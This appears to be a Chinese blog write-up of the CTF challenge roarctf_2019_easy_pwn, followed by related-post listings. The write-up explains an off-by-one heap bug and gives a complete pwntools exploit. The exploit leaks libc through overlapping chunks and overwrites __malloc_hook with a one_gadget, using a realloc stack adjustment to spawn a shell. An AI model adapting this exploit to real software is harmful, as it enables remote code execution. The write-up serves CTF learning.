【pwn】roarctf_2019_easy_pwn

WICCTF-2021-easypwn 2021津门杯ctf的第一道pwn题。 立即下载

例行检查
在这里插入图片描述保护全开,分析程序。
在这里插入图片描述
当edit大小比申请大小多10的时候可以多输入一字节,存在off-by-one。修改size来进行overlap。需要注意的是最后覆盖malloc_hook时,onegadget都不可用,应为栈条件不满足,可以利用realloc的trick来调整栈。
参考:堆的六种利用手法

from pwn import *

io=remote('xx.xx.xx.xx',xxxx)
libc=ELF('./libc-2.23.so')

def add(size):
    io.recvuntil('choice: ')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))

def edit(index,size,data):
    io.recvuntil('choice: ')
    io.sendline('2')
    io.recvuntil('index:')
    io.sendline(str(index))
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(data)

def free(index):
    io.recvuntil('choice: ')
    io.sendline('3')
    io.recvuntil('index:')
    io.sendline(str(index))

def show(index):
    io.recvuntil('choice: ')
    io.sendline('4')
    io.recvuntil('index:')
    io.sendline(str(index))   

add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3

add(0x28)#4
add(0x28)#5
add(0x68)#6

edit(0,34,'a'*0x18+p8(0xb1))#edit chunk_size
free(1)
add(0xa8)#1
edit(1,0x20,'a'*0x18+p64(0x91))
free(2)
show(1)
io.recvuntil('content: ')
io.recv(0x20)
libc_base=u64(io.recv(8))-0x3c4b78
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget=libc_base+0x4526a

edit(4,50,'a'*0x28+p8(0xa1))
free(5)
free(6)
add(0x98)#2
edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)#5
add(0x68)#6malloc_hook
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc+16))

io.interactive()
Tessent_StdcellLib 第二种为 Tessent Cell lib,既可用于功能仿真,也可以用于测试逻辑插入。lib包含了用于仿真的功能信息,也包含DFT cell属性。如何使用tessent工具将stdcell verilog 仿真模型转换为tessent自己的lib。运行后工具会生成一个atpg的lib文件,打开文件,找到一个带SI的DFF,只有功能描述。tessnt lib分为两种,第一种为ATBG lib,可以用于仿真;打开生成的lib文件,多了dft_cell_selection。第二部:编写attributes文件。 阅读详情

相关推荐

deepin启动异常处理

修复的命令在执行时会输出大量的修复信息,正常情况下修复完之后输入exit命令回车后,即可正常启动系统。

whxxiang的博客 4370

roarctf_2019_easy_pwn

buuctf pwn roarctf_2019_easy_pwn off-by-one

hanabi_sh 728

python监听海康威视报警服务器

因为我使用海康威视摄像头是自带热成像的所以事件报警会上报两张图片,一张是RGB图像、另一张是热成像图像,因此使用。拿到的就是第一张RGB图像。可以点击测试,会显示。

qq_57018478的博客 1157

BUUCTF【roarctf_2019_easy_pwn】(off by one)

BUUCTF【roarctf_2019_easy_pwn】 检查程序: 保护机制全开 分析: add(),show(),free()函数都正常,漏洞点在edit()中 a2-a1=10时,我们可以多写入一个字节,存在by one溢出 思路: 1.堆风水泄露libc地址 2.堆块重叠劫持malloc_hook为one_gadget 3.申请触发one_gadget exp: leak地址: add(0x90) add(0x18) add(0x90) add(0x90) free(0) edit(1,0

weixin_51055545的博客 1277

【chips】个人笔记系列-SystemVerilog

个人整理的Systemverilog笔记。

Hide_in_Code 2059

保姆级教程:用Python+NumPy手把手模拟光学散射与记忆效应(附代码)

本文提供了一份详细的Python+NumPy教程,手把手教你模拟光学散射与记忆效应。从基础光波建模到散射介质实现,再到菲涅尔衍射和光学记忆效应验证,逐步构建完整的仿真系统。通过附带的代码示例,读者可以快速掌握计算光学仿真的核心技术,为医学成像、物理仿真等领域的研究提供实用工具。

weixin_30172941的博客 325

[BUUCTF]PWN——roarctf_2019_easy_pwn(详解)

roarctf_2019_easy_pwn 附件 步骤: 例行检查,64位程序,保护全开 试运行一下程序,看看大概的情况,经典的堆块的菜单 64位ida载入,改了一下各个选项的函数名,方便看程序(按N) add edit free show 这道题通过 offbyone来构造重叠chunk,达到任意地址分配chunk的效果,然后修改__realloc_hook地址处的内容为one gadget地址,修改malloc_hook地址处的内容为ralloc函数的地址+x 我们先申

mcmuyanga的博客 2922

TTL电路搭建半加器实验:操作指南完整版

通过TTL电路搭建半加器,详解逻辑设计与实验步骤,帮助掌握数字电路中的半加器工作原理与实际应用,适合电子技术初学者动手实践。

weixin_42524864的博客 355

[BUUCTF]-PWN:roarctf_2019_easy_pwn解析

先看保护64位,got表不可写看ida大致就是alloc创建堆块,fill填充堆块,free释放堆块,show输出堆块内容这里要注意的点有以下alloc创建堆块:这里采用的是calloc而不是malloc,calloc在创建堆块时会初始化也就是清空相应的内存空间,而malloc不会,这里使用calloc创建堆块fill填充堆块:这里它限制了填充的字节大小不得超过堆块大小,但如果填充大小正好大于堆块10字节的话,就可以多溢出一个字节,存在off by one漏洞。

2301_79326813的博客 2578

FPGA入门200例(17):如何阅读RTL原理图(Schematic)?将Verilog代码与门级电路对应

本文针对FPGA开发新手常见误区,重点讲解了RTL原理图的重要性和阅读方法。文章指出,仅通过仿真验证代码会导致板级测试异常,而RTL原理图能直观呈现Verilog代码对应的硬件结构(门电路、寄存器、多路选择器等)。通过"识别基础元件→跟踪信号路径→验证逻辑关系"的三步法,新手可以建立代码与硬件的映射思维,排查冗余逻辑、意外锁存器等错误。文章还结合Vivado/Quartus工具操作指南和典型代码案例,帮助读者掌握从代码到硬件实现的转换过程,避免混淆RTL与门级原理图、忽略信号位宽等常见误

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 200

PyTorch实战(30)——使用TorchScript和ONNX导出通用PyTorch模型

在本节中,我们将深入探讨使用 TorchScript 导出 PyTorch 模型。通过序列化,TorchScript 使模型与 Python 生态系统独立,从而使得模型可以在其他环境中加载,例如基于 C++ 的环境。我们还跨越 Torch 框架与 Python 生态的边界,研究机器学习通用开放格式 ONNX,该技术能帮助我们将 PyTorch 训练的模型导出至非 PyTorch 甚至非 Python 环境。

盼小辉丶的博客 3527

roarctf_2019_easy_pwn[off by one]

溢出一个字节,修改size域 exp from pwn import * context.log_level = 'debug' def debug_pause(): log.info(proc.pidof(p)) pause() def create_note(size, ): p.sendlineafter('choice:', str(1)) p.sendlineafter('size:', str(size)) def write_note(index,...

、moddemod 582

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

萌新学pwn-roarctf_2019_easy_pwn

roarctf_2019_easy_pwn 安全检查 可以劫持malloc_hook ida查看 main __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int choice; // [rsp+4h] [rbp-Ch] __int64 savedregs; // [rsp+10h] [rbp+0h] setvbuf_3(); while ( 1 ) { menue(); choice = rea

qq_36495104的博客 665

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

[BUUCTF]PWN——roarctf_2019_easy_pwn

白天睡觉,晚上来写道题。 这道题涉及了unsortedbins,malloc_hook,堆溢出。 heap的菜单选项常规题,做到目前为止,主要是两个思路: 先check,根据RELRO。如果为full,那么就需要malloc_hook。如果为partial,就直接更改got表就可以了。 在create函数中可以明显看出来这是个结构体 一个结构体有24个字节,前8个为标志位,中间8个size位,后8个是alloc出来的chunk的指针。 (alloc和malloc不同的是 alloc的fr

qq_51687381的博客 404

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

roarctf_2019_easy_pwn的wp

一个堆题 add函数 2.free 很完美,没什么漏洞 3.edit 里面有个判断大小的函数 存在obo漏洞,当edit的大小比申请多10会多输入一个字节 这道题的思路是通过 offbyone来构造重叠chunk,达到任意地址分配chunk的效果,然后修改malloc_hook地址处的内容为one gadget地址 首先利用Unsorted bin泄露libc的地址 我们先申请4个chunk add(0x18)#idx0 add(0x10)#idx1 add(0x90)#idx2 add(0x10)

wuyvle的博客 260

buuoj刷题记录 - roarctf_2019_easy_pwn

检查一下保护: 拖进IDA分析程序: 问题处在write函数中, 最后可以溢出一个字节. 思路:溢出一个字节覆盖下一个chunk的prev in use标记位.然后向前合并,构造重叠chunk。 下面是我的构造方法: create三个这样的chunk free掉0 ,然后利用chunk1 覆盖掉chunk2的prev in use 标记位.同时在chunk1内布置好prev size.(glibc-2.23不会通过prev size 找到chunk ,然后比较前一个chunk的size,所以

qq_34010404的博客 314

[BUUCTF]刷题记录-----roarctf_2019_easy_pwn

现在free chunk1它就会加入unsorted bin,然后再创建一个0x90大小的chunk,这是就会把chunk1给我们,然后再还原原来的chunk2。这样就伪造了两个chunk的大小,但在程序中储存的chunk1的size值不是0x90而是0x10,chunk2不是0x10而是0x90,即使chunk1现在是0xa1的大小,但只能编辑0x10的字节。edit函数中有个问题,就是编辑时输入的size减去添加时的size时的值为10时,可以多输入一个字节,纯在off-by-one漏洞。

saulgoodman的博客 409

2021-09-07 BUUCTF-PWN 刷题记录

2021-09-07 roarctf_2019_easy_pwn 0x00 题目分析 堆题 整体功能 增加 删除 修改 输出 保护情况: root@ubuntu:~## pwn checksec roa* [*] '/root/roarctf_2019_easy_pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE:

m0_56897090的博客 825

利用realloc调整栈使one_gadget生效

前言 当堆题保护全开的时候。PIE保护几乎使得unlink失效(除非能够计算出程序基址),FULL RELEO也使得函数GOT表不可修改。此时常覆盖各种函数的hook为one_gadget来getshell。 我常考虑的顺序是: free_hook->malloc_hook->IO_FILE->exit_hook 若有沙盒限制,则考虑setcontext 当free_hook不可打时(例如Fastbin Attack时free_hook前不能构造字节错位),我们往往就会打malloc_ho

N1rvana的博客 928

通过 realloc_hook 调整栈帧使 onegadget 生效

亲爱的,关注我吧10/12文章共计3190个词预计阅读10分钟来和我一起阅读吧在某些堆的题目当中,由于限制只能使用 house of spirit 等方法劫持 malloc_hook ,...

蚁景网安学院 1784

hook控制浏览器的方法_通过 realloc_hook 调整栈帧使 onegadget 生效

亲爱的,关注我吧10/12文章共计3190个词预计阅读10分钟来和我一起阅读吧在某些堆的题目当中,由于限制只能使用 house of spirit 等方法劫持 malloc_hook ,这种情况一般是往 malloc_hook 写入 onegadget ,再次申请堆来 getshell 。由于栈帧情况不满足,查询到的所有 onegadget 可能都打不通,这时就可以考虑下用 malloc...

weixin_29572661的博客 337
上一篇: 【pwn】 ciscn_2019_final_3
下一篇: 【pwn】ciscn_2019_es_2
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值